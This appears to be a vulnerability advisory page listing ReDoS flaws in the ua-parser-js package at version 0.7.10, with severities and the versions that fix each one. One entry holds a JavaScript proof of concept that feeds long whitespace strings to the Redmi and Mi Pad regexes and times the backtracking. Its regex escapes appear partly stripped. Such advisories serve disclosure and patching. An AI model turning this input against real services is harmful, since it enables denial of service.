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ua-parser-js@0.7.10 vulnerabilities

Detect Browser, Engine, OS, CPU, and Device type/model from User-Agent & Client Hints data. Supports browser & node.js environment

  • latest version

    2.0.9

  • latest non vulnerable version

    2.0.9

  • first published

    13 years ago

  • latest version published

    1 months ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the ua-parser-js package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    ua-parser-js is a lightweight JavaScript-based user-agent string parser.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). Within src/ua-parser.js, the browser regex is vulnerable to exponential backtracking.

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade ua-parser-js to version 0.7.24 or higher.

    <0.7.24
    • H
    Regular Expression Denial of Service (ReDoS)

    ua-parser-js is a lightweight JavaScript-based user-agent string parser.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexes (see linked commit for more info).

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade ua-parser-js to version 0.7.23 or higher.

    <0.7.23
    • H
    Regular Expression Denial of Service (ReDoS)

    ua-parser-js is a lightweight JavaScript-based user-agent string parser.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.

    POC by Yeting Li

    var blank = " ";
for (let i = 1; i < 5000; i++) {
blank = blank + " ";
}

str_mi = "android1mipad" + blank + "!";
str_mi = str_mi + +blank + "!";
mi = /android.+(mi[s-_]*(?:pad)(?:[s_]*[ws]+))s+build/i;

var count_mi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
mi.test(str_mi);
var len = Date.now() - time;
count_mi = count_mi + len;
console.log("mi:" + blank.length + ": " + len)
}
console.log(count_mi / 10);

str_redmi = "android1redminote" + blank + "!";
redmi = /android.+(redmi[s-_]*(?:note)?(?:[s_]*[ws]+))s+build/i;
var count_redmi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
redmi.test(str_redmi);
var len = Date.now() - time;
count_redmi = count_redmi + len;
console.log("redmi:" + blank.length + ": " + len)
}
console.log(count_redmi / 10);

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade ua-parser-js to version 0.7.22 or higher.

    <0.7.22
    • M
    Regular Expression Denial of Service (ReDoS)

    ua-parser-js is Lightweight JavaScript-based user-agent string parser.

    Affected versions of the package are vulnerable to Regular Expression Denial of Service (ReDoS).

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade ua-parser-js to version 0.7.18 or higher.

    <0.7.18
    • M
    Regular Expression Denial of Service (ReDoS)

    ua-parser-js is a Lightweight JavaScript-based user-agent string parser.

    Affected versions of the package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks via the `getOS() function.

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade ua-parser-js to version 0.7.16 or higher.

    <0.7.16
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